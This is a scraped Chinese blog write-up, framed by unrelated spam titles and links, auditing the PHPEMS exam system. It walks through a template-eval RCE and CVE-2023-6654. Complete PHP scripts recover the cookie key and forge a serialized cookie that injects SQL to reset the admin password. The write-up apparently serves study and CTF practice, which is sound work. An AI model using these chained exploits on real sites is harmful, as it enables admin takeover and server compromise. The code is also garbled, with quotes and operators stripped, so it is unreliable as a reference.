当前位置: 首页 > news >正文

网站外包要注意什么wordpress 熊掌号代码

网站外包要注意什么,wordpress 熊掌号代码,网站系统的运营和维护,二手房信息发布平台学会了基础的代码审计后#xff0c;就该提高一下了#xff0c;学一下一些框架的php代码审计 先从一些小众的、已知存在漏洞的cms入手 phpems php的一款开源考试系统 源码下载 https://down.chinaz.com/soft/34597.htm 环境部署 windows审计#xff0c;把相关文件放到phps…学会了基础的代码审计后就该提高一下了学一下一些框架的php代码审计 先从一些小众的、已知存在漏洞的cms入手 phpems php的一款开源考试系统 源码下载 https://down.chinaz.com/soft/34597.htm 环境部署 windows审计把相关文件放到phpstudy的web目录下 给了一个sql文件mysql创建一个数据库在sql文件开始部分加上 use 数据库名。然后navicat或者其他图形化运行所给sql文件然后修改一下lib/config.inc.php中的关于数据库的设置就部署完毕 访问首页,正常显示就是ok(上面的输出是我自己在源码中加的) 正常调用 如果是做题的话其实可以直接跳过这步直接seay扫一下看看可疑的地方现在是练习所以我可以捋一下正常的代码调用流程 以在前台查看内容为例 首先肯定要看web目录下的index.php ![[代码审计学习-4.png]] 包含了/lib/init.cls.phplib目录下有很多实现功能的基本类, \PHPEMS\ginko 这个类就在这个php文件里是这个框架的核心控制器\PHPEMS是命名空间 看看这个类的run方法 public function run() { //static public $defaultApp core;self::$app self::$defaultApp; $ev self::make(ev); if($ev-url(0)) { self::$app $ev-url(0); } self::$module $ev-url(1); self::$method $ev-url(2); //要包含的文件不指定默认先在/app/index里找 if(!self::$module)self::$module app; if(!self::$method)self::$method index; include PEPATH./app/.self::$app./.self::$module..php; $modulefile PEPATH./app/.self::$app./controller/.self::$method...self::$module..php; echo br; echo 要包含的module文件:.$modulefile; // if(file_exists($modulefile)) { include $modulefile; $tpl self::make(tpl); //给tpl对象的$tpl_var数组属性赋值 $tpl-assign(_app,self::$app); $tpl-assign(method,self::$method); $run new action(); // var_dump($run); $run-display(); } else die(error:Unknown app to load, the app is .self::$app); }defaultapp就是字符串core调用了make(ev)看看在干嘛 ![[代码审计学习-5.png]] $app若有设置则调用load方法加载配置文件 //加载对象类文件并生成对象 /** * param $G * param null $app * return static */ static public function load($G,$app) { if(!$app)return false; $o $G._.$app; //$L是空数组第一次加载后就放入做为缓存下次调用就直接从这里取不用再去包含对应文件if(!isset(self::$L[$app][$o])) { $fl PEPATH./app/.$app./cls/.$G..cls.php; if(file_exists($fl)) { include $fl; } else return false; $clsname \\PHPEMS\\.$o; self::$L[$app][$o] new $clsname(); if(method_exists(self::$L[$app][$o],_init))self::$L[$app][$o]-_init(); } return self::$L[$app][$o]; }审计一下可知会先检查一下缓存数组是否有了对应的类如有直接返回没有的话就会去包含对应的php文件然后实例化对应的类有__init方法就执行次方法 然后再回到make方法看else分支是不是跟load很像 所以这里的逻辑就是如果指定了app就包含对应的app的目录没有就去包含lib下的比较基本的类 文件目录 ![[代码审计学习-6.png]] 再回到run方法调用了make(ev)-url(0)url在这个类的构造方法中设置了 public function __construct() { $this-strings \PHPEMS\ginkgo::make(strings); if (ini_get(magic_quotes_gpc)) { $get $this-stripSlashes($_REQUEST); $post $this-stripSlashes($_POST); $this-cookie $this-stripSlashes($_COOKIE); } else { $get $_REQUEST; $post $_POST; $this-cookie $_COOKIE; } $this-file $_FILES; $this-get $this-initData($get); $this-post $this-initData($post); $this-url $this-parseUrl(); $this-cookie $this-initData($this-cookie); }可以看到这个ev类就是用来接受并预处理服务器接受到的全局变量跟进parseUrl方法 public function parseUrl() { if(isset($_REQUEST[route])) { $r explode(-,$_REQUEST[route]); foreach($r as $key $p) { $r[$key] urlencode($p); } } elseif(isset($_SERVER[QUERY_STRING])) { $tmp explode(#,$_SERVER[QUERY_STRING],2); $tp explode(,$tmp[0],2); $r explode(-,$tp[0]); foreach($r as $key $p) { $r[$key] urlencode($p); } } else { return false; } if(!$r[0] || !file_exists(app/.$r[0]./)) { $r[0] \PHPEMS\ginkgo::$defaultApp; } if(!file_exists(app/.$r[0]./.$r[1]..php) || $r[1] auto) { $r[1] app; } if(!file_exists(app/.$r[0]./controller/.$r[2]...$r[1]..php)) { $r[2] index; } if($r[1] app $this-isMobile()) { $r[1] phone; } if(!$r[3])$r[3] index; if(substr($r[3],0,1) _)$r[3] index; echo url解析结果:.br; var_dump($r); echo \n; return $r; }非常长前面首页显示的改动就在这里 可以看到这是对$_REQUEST和$_SERVER[QUERY_STRING]的处理前者是包含了get、post、cookie传的变量后者是url中中的?后面的部分 对查询参数用# -来分割(explode方法)我只访问了?content因此得到的三个数组都是只有一个元素content 后面三个file_exist是判断有没有对应的模块没有则设置成默认的这里$r只有一个元素content因此$r[1] $r[2] $r[3] 都被设置成了默认的选项 再回到run方法这里就可以包含到对应的文件了 包含了之后实例化tpl这类这个类就是用来渲染前端的页面的 所以这个要加载什么类是通过对查询参数的分割来确定的然后用tpl渲染对应的前端 漏洞代码 后台rce 后台存在rce的漏洞seay很快就扫到漏洞点 public function _init() { $this-sql \PHPEMS\ginkgo::make(sql); $this-pdosql \PHPEMS\ginkgo::make(pdosql); $this-db \PHPEMS\ginkgo::make(pepdo); $this-tpl \PHPEMS\ginkgo::make(tpl); $this-pg \PHPEMS\ginkgo::make(pg); $this-ev \PHPEMS\ginkgo::make(ev); $this-files \PHPEMS\ginkgo::make(files); $this-category \PHPEMS\ginkgo::make(category); $this-content \PHPEMS\ginkgo::make(content,content); //block$this-block \PHPEMS\ginkgo::make(block,content); $this-tpl_var $this-tpl-tpl_var; }public function parseBlock($blockid) { $block $this-block-getBlockById($blockid); if($block[blocktype] 1) { echo html_entity_decode($block[blockcontent][content]); } elseif($block[blocktype] 2) { if($block[blockcontent][app] content) { $args array(catid$block[blockcontent][catid],number$block[blockcontent][number],query$block[blockcontent][query]); $blockdata $this-_getBlockContentList($args); $tp $this-tpl-fetchContent(html_entity_decode($this-ev-stripSlashes($block[blockcontent][template]))); $blockcat $this-category-getCategoryById($block[blockcontent][catid]); $blockcatchildren $this-category-getCategoriesByArgs(array(array(AND,catparent :catparent,catparent,$block[blockcontent][catid]))); eval( ?.$tp.?php namespace PHPEMS; ); } else { $args array(catid$block[blockcontent][catid],number$block[blockcontent][number],query$block[blockcontent][query]); $obj \PHPEMS\ginkgo::make(api,$block[blockcontent][app]); if(method_exists($obj,parseBlock)) $blockdata $obj-parseBlock($args); else return false; } return true; } elseif($block[blocktype] 3) { if($block[blockcontent][sql]) { $sql array(sql str_replace([TABLEPRE],DTH,$block[blockcontent][sql])); } else { $tables array_filter(explode(,,$block[blockcontent][dbtable])); $querys array_filter(explode(\n,str_replace(\r,,html_entity_decode($this-ev-stripSlashes($block[blockcontent][query]))))); $args array(); foreach($querys as $p) { $a explode(|,$p); if($a[3]) { if($a[3][0] $) { $s stripos($a[3],[); $k substr($a[3],1,$s-1); $v substr($a[3],$s,(strlen($a[3]) - $s)); $execode \$a[3] \{\$this-tpl_var[$k]$v}\;; } else { $k substr($a[3],2,(strlen($a[3]) - 2)); $execode \$a[3] \{\$$k}\;; } eval($execode); } $args[] $a; } $data array(false,$tables,$args,false,$block[blockcontent][order],$block[blockcontent][limit]); $sql $this-pdosql-makeSelect($data); } $blockdata $this-db-fetchAll($sql,$block[blockcontent][index]?$block[blockcontent][index]:false,$block[blockcontent][serial]?$block[blockcontent][serial]:false); $tp $this-tpl-fetchContent(html_entity_decode($this-ev-stripSlashes($block[blockcontent][template]))); eval( ?.$tp.?php namespace PHPEMS; ); return true; } elseif($block[blocktype] 4) { $tp $this-tpl-fetchContent(html_entity_decode($this-ev-stripSlashes($block[blockcontent][content]))); eval( ?.$tp.?php namespace PHPEMS; ); } else return false; } }parseBlock这个函数当blocktype为2 3 4时都有存在eval来执行$tp先找$tp是如何获取的这里以4为例子分析(偷懒)其他的原理也都差不多有兴趣的可以自己去分析 前面也提到ev是处理全局变量的定位stripSlashes方法 注释中提到了这个方法用来去除转义字符\,而html_entity_decode是php内置函数把 HTML 实体转换为字符 传入的数据是$block[blockcontent][content],block是$this-block-getBlockById获取的block是make(block,content)加载的类 来看看这个make方法 这一次指定了app所以会调用load方法看一下 跟上面的正常调用差不多包含对应的文件然后生成这个类这里$oblock_content包含了/app/content/cls/block.cls.phpblock_content类应该也在这里了去看看 确实在这里同时发现了getBlockById方法 可以看出blockcotent是从数据库中取出的在数据库中也有个x2_block表 blockcontent一看就是序列化的内容在$this-db-fetch中也有反序列化的操作 public function fetch($sql,$unserialize false) { if(!is_array($sql))return false; if(!$this-linkid)$this-connect(); $query $this-linkid-prepare($sql[sql]); $rs $query-execute($sql[v]); $this-_log($sql,$query); if ($rs) { $query-setFetchMode(\PDO::FETCH_ASSOC); $tmp $query-fetch(); if($tmp) { if($unserialize) { if(is_array($unserialize)) { foreach($unserialize as $value) { $tmp[$value] unserialize($tmp[$value]); } } else $tmp[$unserialize] unserialize($tmp[$unserialize]); } } return $tmp; } else return false; }makeselect就是构造查询的sql语句有兴趣的可以自己去跟一下 所以这个$tp的内容就是从数据库中取出的用id参数查询 再来看这个在parseBlock在哪调用 /lib/tpl.cls.php中(管理渲染前端的自定义基本类) public function exeBlock($id) { \PHPEMS\ginkgo::make(api,content)-parseBlock($id); }找exeBlock在渲染前端注册的页面中调用了 但是这里传入的id是1由上面的代码可知1只是echo输出234才有eval 很巧的是/app/content那里翻了一下在/controller/block.master.php中有个change方法可以改id private function change() { $blockid $this-ev-get(blockid); $blocktype $this-ev-get(blocktype); $this-block-modifyBlock($blockid,array(blocktype $blocktype)); $message array( statusCode 200, message 操作成功, target , rel , callbackType forward, forwardUrl index.php?content-master-blockspage{$page} ); exit(json_encode($message)); }在这个系统跟master相关就是后台管理相关的功能了 在后台的内容管理找到了这个功能 这里改成最下面的模板模式blockid为4就会走到上面分析的流程然后点击修改插入php代码即可 ![[代码审计学习-17.png]] 有个小细节就是 那个eval中除了$tp后面还加上了个?php namespace PHPEMS;,那我们构造的php代码中也要在开头声明一个namespace php规范中如果有namespace声明必须在开头就有一个否在会报错 然后保存去前台注册就发现命令执行成功 其实这个rce漏洞要后台才能触发危害也不是很大毕竟这个后台还有个增加文件上传后缀的功能增加个php直接传shell都行 毕竟正常情况后台都不好进 但是上网搜索过这个框架后发现这个管理员的密码是可以通过反序列化打sql注入修改的(CVE-2023-6654)就可以直接进后台这就扩大了危害 西湖论剑2024也考了这个cve接下来就分析分析 前台修改管理员密码 触发反序列化 前面我在看正常调用时就发现cookie鉴权这里有反序列化点的还想找pop链rce来着但失败了没想到可以打sql注入 用于会话管理、鉴权的是session类php文件是/lib/session.cls.php在构造方法中就调用了getSessionId其他模块的构造方法中都会实例化这个类 所以getSessionId是很容易触发的 public function getSessionId() { if(!$this-sessionid) { $cookie $this-strings-decode($this-ev-getCookie($this-sessionname)); if($cookie) { $this-sessionid $cookie[sessionid]; } } if(!$this-sessionid) { $this-_getOnlySessionid(); $this-setSessionUser(array(sessionid $this-sessionid,sessionip $this-ev-getClientIp())); } if(!$this-getSessionValue()) { $this-setSessionUser(array(sessionid $this-sessionid,sessionip $this-ev-getClientIp())); } return $this-sessionid; }getSessionId这里对cookie中获取的信息进行解密然后反序列化 因此cookie中存储的是序列化后的数据 public function decode($info) { $key CS; $info urldecode($info); $kl strlen($key); $il strlen($info); for($i 0; $i $il; $i) { $p $i%$kl; $info[$i] chr(ord($info[$i])-ord($key[$p])); } $info unserialize($info); return $info; }反序列化很容易触发现在要来看怎么造成sql注入 sql注入 全局搜索__destruct 在session类中 public function __destruct() { $data array(session,array(sessionlasttime TIME),array(array(AND,sessionid :sessionid,sessionid,$this-sessionid))); $sql $this-pdosql-makeUpdate($data); $this-db-exec($sql); if(rand(0,5) 4) { $data array(session,array(array(AND,sessionlasttime :sessionlasttime,sessionlasttime,intval((TIME - 3600*24*3))))); $sql $this-pdosql-makeDelete($data); $this-db-exec($sql); } }这里会makeupdate顾名思义构造一个update的sql语句然后exec中跟进makeupdate看看 public function makeUpdate($args,$tablepre NULL) { if(!is_array($args))return false; if($tablepre NULL)$tb_pre $this-tablepre; else $tb_pre $tablepre; $tables $args[0]; $args[1] $this-_makeDefaultUpdateArgs($tables,$args[1]); if(is_array($tables)) { $db_tables array(); foreach($tables as $p) { $db_tables[] {$tb_pre}{$p} AS $p; } $db_tables implode(,,$db_tables); } else $db_tables $tb_pre.$tables; $v array(); $pars $args[1]; if(!is_array($pars))return false; $parsql array(); foreach($pars as $key $value) { $parsql[] $key. .:.$key; if(is_array($value))$value serialize($value); $v[$key] $value; } $parsql implode(,,$parsql); $query $args[2]; if(!is_array($query))$db_query 1; else { $q array(); foreach($query as $p) { $q[] $p[0]. .$p[1]. ; if(isset($p[2])) $v[$p[2]] $p[3]; } $db_query 1 .implode( ,$q); } if(isset($args[3])) $db_groups is_array($args[3])?implode(,,$args[3]):$args[3]; else $db_groups ; if(isset($args[4])) $db_orders is_array($args[4])?implode(,,$args[4]):$args[4]; else $db_orders ; if(isset($args[5])) $db_limits is_array($args[5])?implode(,,$args[5]):$args[5]; else $db_limits ; if($db_limits false $db_limits ! false)$db_limits $this-_mostlimits; $db_groups $db_groups? GROUP BY .$db_groups:; $db_orders $db_orders? ORDER BY .$db_orders:; $sql UPDATE .$db_tables. SET .$parsql. WHERE .$db_query.$db_groups.$db_orders. LIMIT .$db_limits; return array(sql $sql, v $v); }前面的一长串的构造参数的过程最后拼接到$sql这查询语句中看到直接拼接难道直接有sql注入其实并没有。上面传进去的参数中 $data array(session,array(sessionlasttime TIME),array(array(AND,sessionid :sessionid,sessionid,$this-sessionid))); 参数使用了sessionid :sessionid这在pdosql中就是预编译的写法那咋还能注入呢 非常的巧妙大佬们找到了其他注入的地方 在构造表名$db_tables和类的属性$this-tablepre直接进行了拼接这里并没有预编译如果我们能控制反序列化的过程那不就可以设置这个属性吗直接设置为 x2_user set userpassworde10adc3949ba59abbe56e057f20f883e where usernamepeadmin;#--拼接进去就是 update x2_user set userpassworde10adc3949ba59abbe56e057f20f883e where usernamepeadmin;#--(其他参数)这不就把管理员密码改了吗 本地搭建项目就可知这个框架的密码加密就是md5因此这里设置为123456的md5就行 但是前面也提到了这个cookie是加密的反序列化前要经过一次解密操作我们要把这个加密的逻辑搞清楚才行 逆向cookie加密的key 在/lib/string.cls.php中查看encode和decode代码 public function encode($info) { $info serialize($info); $key CS; $kl strlen($key); $il strlen($info); for($i 0; $i $il; $i) { $p $i%$kl; $info[$i] chr(ord($info[$i])ord($key[$p])); } return urlencode($info); } public function decode($info) { $key CS; $info urldecode($info); $kl strlen($key); $il strlen($info); for($i 0; $i $il; $i) { $p $i%$kl; $info[$i] chr(ord($info[$i])-ord($key[$p])); } $info unserialize($info); return $info; }可以看到加密的逻辑很简单循环加上key的ascii码再用chr取字符然后url编码解密就是循环减这key的定义在配置文件config.inc.php中 这里也提示了要生成32位的字符串来替换key如果能找到已知的连续32位的密文再减去对应位置的32位明文key不就出了么 因此要寻找cookie里我们可以控制的变量从而控制某一部分32位的明文 先要用本地的key解密一下cookie看看序列化数据结构是什么样(这个cookie是未登录的cookie) 这里二次url编码的所以解密时还要再url解码一次 ?php define(CS,1hqfx6ticwRxtfviTp940vng!yC^QK^6);function encode($info) {$info serialize($info);$key CS;$kl strlen($key);$il strlen($info);for($i 0; $i $il; $i){$p $i%$kl;$info[$i] chr(ord($info[$i])ord($key[$p]));}return urlencode($info); }function decode($info) {$key CS;$info urldecode($info);$kl strlen($key);$il strlen($info);for($i 0; $i $il; $i){$p $i%$kl;$info[$i] chr(ord($info[$i])-ord($key[$p]));} // $info unserialize($info);return $info; } $cookie%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%2586%2583%25C3%2598%2594%2599%25D5%25CB%25A8%259C%25DA%259F%25C6%25AA%2585%25AD%25D7%259C%25A9%25A2%25B5%25A9r%259Ag%25A6%25D3%259AR%25DF%25A8%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25AC%257C%2597%2584%257B%2591jj%25A3%25EE;echo decode(urldecode($cookie)); //a:8:a:3:{s:9:sessionid;s:32:658ebc1de0ff6c335c639a99f70e31fe;s:9:sessionip;s:9:127.0.0.1;s:16:sessiontimelimit;i:1739930349;}可以看到没登陆的cookie数据设置有sessionid sessionip sessiontimelimit 三个字段审计一下session类发现只有第二个sessionip是可以控制伪造的 sessionid 是一堆参数(还包含了随机数)的md5 sessiontimelimit是时间戳TIME在config.inc.php中定义为time() sessionip 跟进这个方法 public function getClientIp() { if(!isset($this-e[ip])) { if (getenv(HTTP_CLIENT_IP) strcasecmp(getenv(HTTP_CLIENT_IP), unknown)) $ip getenv(HTTP_CLIENT_IP); else if (getenv(HTTP_X_FORWARDED_FOR) strcasecmp(getenv(HTTP_X_FORWARDED_FOR), unknown)) $ip getenv(HTTP_X_FORWARDED_FOR); else if (getenv(REMOTE_ADDR) strcasecmp(getenv(REMOTE_ADDR), unknown)) $ip getenv(REMOTE_ADDR); else if (isset($_SERVER[REMOTE_ADDR]) $_SERVER[REMOTE_ADDR] strcasecmp($_SERVER[REMOTE_ADDR], unknown)) $ip $_SERVER[REMOTE_ADDR]; else $ip unknown; $this-e[ip] $ip; } return $this-e[ip]; }REMOTE_ADDR是伪造不了的但是它先检测HTTP_CLIENT_IP以HTTP开头都是可以伪造的在http报文中加入相应的键值对即可比如HTTP_CLIENT_IP就构造CLIENT-IP可以本地试试在decode那里加上 echo $info 伪造成功所以可以通过部分的已知明文来推key选取序列化中表示sessionip的部分(32位) 由于前后的数据部分长度都是固定的所以可以通过下标来动态截取满足32位的长度 ?php function reverse($payload1,$payload2) { $il strlen($payload1); $key ; $kl 32; for($i 0; $i $kl; $i) { $p $i%$kl; $key . chr(ord($payload1[$i])-ord($payload2[$p])); } return $key; } $info%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2595%25B4%2581%2596f%2594%25CA%25A7%259F%25ADk%25D8%259B%25C6%25DD%25B8%25D9%25A6%25C9%25AC%259E%2584%25A8%259Af%2596%25D8%25A4%259E%2587%25ACx%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%259A%2589%25AA%255Bei%25A8%259C%2598W%25B1q%258F%2589%257F%258Cgf%2598%2593%25A1%25EBp%25A5%259F%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25E4%25A2%25A1%2595%25E2%25D7%25D4%258A%25EDe%2599%25BA%2585%258Fmd%25A1%25AA%2599%25AAk%25AA%25A2%259E%25F4; $info urldecode($info); $info urldecode($info); $know:sessionip;s:15:192.168.184.1; // $info substr($info,64,32); echo reverse($info,$know);成功把本地的key推了出来 把这个框架放到我虚拟机上改一下key看能不能推出来部署过程跟上面一致也是访问首页拿没登陆的cookie 然后用脚本推key ?php function reverse($payload1,$payload2) { $il strlen($payload1); $key ; $kl 32; for($i 0; $i $kl; $i) { $p $i%$kl; $key . chr(ord($payload1[$i])-ord($payload2[$p])); } return $key; } //利用伪造的ip来构造已知的明文 function get_know($ip127.0.0.1) { $pre:sessionip;s:; $end;s:16:sessiontimelimit;i:; $pre$pre.strlen($ip).:.$ip; if(strlen($pre)32) { return substr($pre,0,32); } if (strlen($pre)32) { $target $pre . substr($end, 0, 32 - strlen($pre)); return $target; } return $pre; } $info%2599%259D%2598r%25E1%25AArinT%25D7%25CA%25A4%25A4%25CA%25D5%25CF%259C%2596Vt%25A4sd%2595p%2586q%259Bk%2591%2594m%2594%259E%259E%25CA%2598%259Bff%2596%25C6%2598%2594a%2593%2599%2592%2595kmr%2594ii%2595%2597%259BZ%259D%25A9j%259Dr%2585%25D8%259D%25D9%25AA%25A1%259F%25A2%259B%25D4%2587l%25A4%259B%259F%259BUcfp_i_%2593d%2595Z%259D%25A9j%2595n%259D%2587%25AB%25CB%25AA%25AB%2599%25A3%25A0%25D8%25CE%259E%2596%25CD%25CF%25CE%259C%25A6Vt%259Asb%259Ai%259Dq%2596fa%2597i%259E%25E2; $info urldecode($info); $info urldecode($info); $knowget_know(); 截取序列化字符串密文中关于sessionip的内容(前开的sessionid长度固定所以可以直接通过下标截取) $info substr($info,64,32); echo reverse($info,$know);也是逆出来了 构造恶意序列化数据 然后利用这个key去构造恶意的序列化数据看看有什么属性要设置确保反序列化过程可以走通就行 ?php namespace PHPEMS;class session {public function __construct(){$this-sessionid1;$this-pdosqlnew pdosql();$this-dbnew pepdo();} }class pdosql {public function __construct(){$this-tableprex2_user set userpassword202cb962ac59075b964b07152d234b70 where usernamepeadmin;#--;$this-dbnew pepdo();}}class pepdo {private $linkid0; } function encode($info) {$info serialize($info);$key 8ce8f78042de11afa3249191c6d8b60d;$kl strlen($key);$il strlen($info);for($i 0; $i $il; $i){$p $i%$kl;$info[$i] chr(ord($info[$i])ord($key[$p]));}return urlencode(urlencode($info)); } $anew session(); $exparray(sessionid123123,$a); echo \n; echo encode(($exp));管理员密码修改成功 就可以进后台rce了
http://www.dnsts.com.cn/news/155654.html

相关文章:

  • dede网站后台哪里有做推文的网站
  • 在线股票交易网站开发昆明模板建站定制网站
  • 数码港 太原网站开发公司劳动仲裁院网站建设
  • 快闪视频制作软件appseo解释
  • 做网站备案必须是个人还是公司app活动推广策划方案
  • 海尔网站的建设目标wordpress points
  • 沈阳旅游集团网站建设浏览器推广怎么收费
  • 企业网站营销推广方案百度问问首页登录
  • 网站开发开发需求网站建设的介绍
  • 推荐电商网站建设做视频网站需要哪些技术指标
  • 港巢网站建设wordpress 修改上传路径
  • 开业时网站可以做哪些活动吗互联网大厂
  • 做网站需要多少钱一个月小程序开发平台的设计是实现
  • 国家批准做新闻的网站编程代码怎么学
  • 哪个网站做的win10系统公司创建一个网站多少钱
  • crm系统网站跟网站做流量
  • 建设公司网站费用多少成都有哪些网站建设
  • 建设工程质量监督站网站如何后台修改网站联系人
  • 摄影作品欣赏网站网络规划设计师招聘
  • 建设旅游网站的费用预算微信自助下单小程序怎么弄
  • 如何注册公司并获得营业执照seo公司发展前景
  • 手机网站jquery底部导航菜单Linux网站开发设计
  • 打鱼网站建设天津放心站内优化seo
  • 做英文的小说网站泰安有什么好的网络科技公司
  • 大良营销网站建设渠道关于建设部门子网站的请示
  • 国外免费建站网站搭建福州云建站
  • 刮奖网站石家庄营销网站建设价格
  • 做网站架构需要什么步骤无锡建设工程项目代码申请网站
  • 教做flash的网站做宠物服务的相关网站
  • 哪些网站百度不收录用wordpress建网站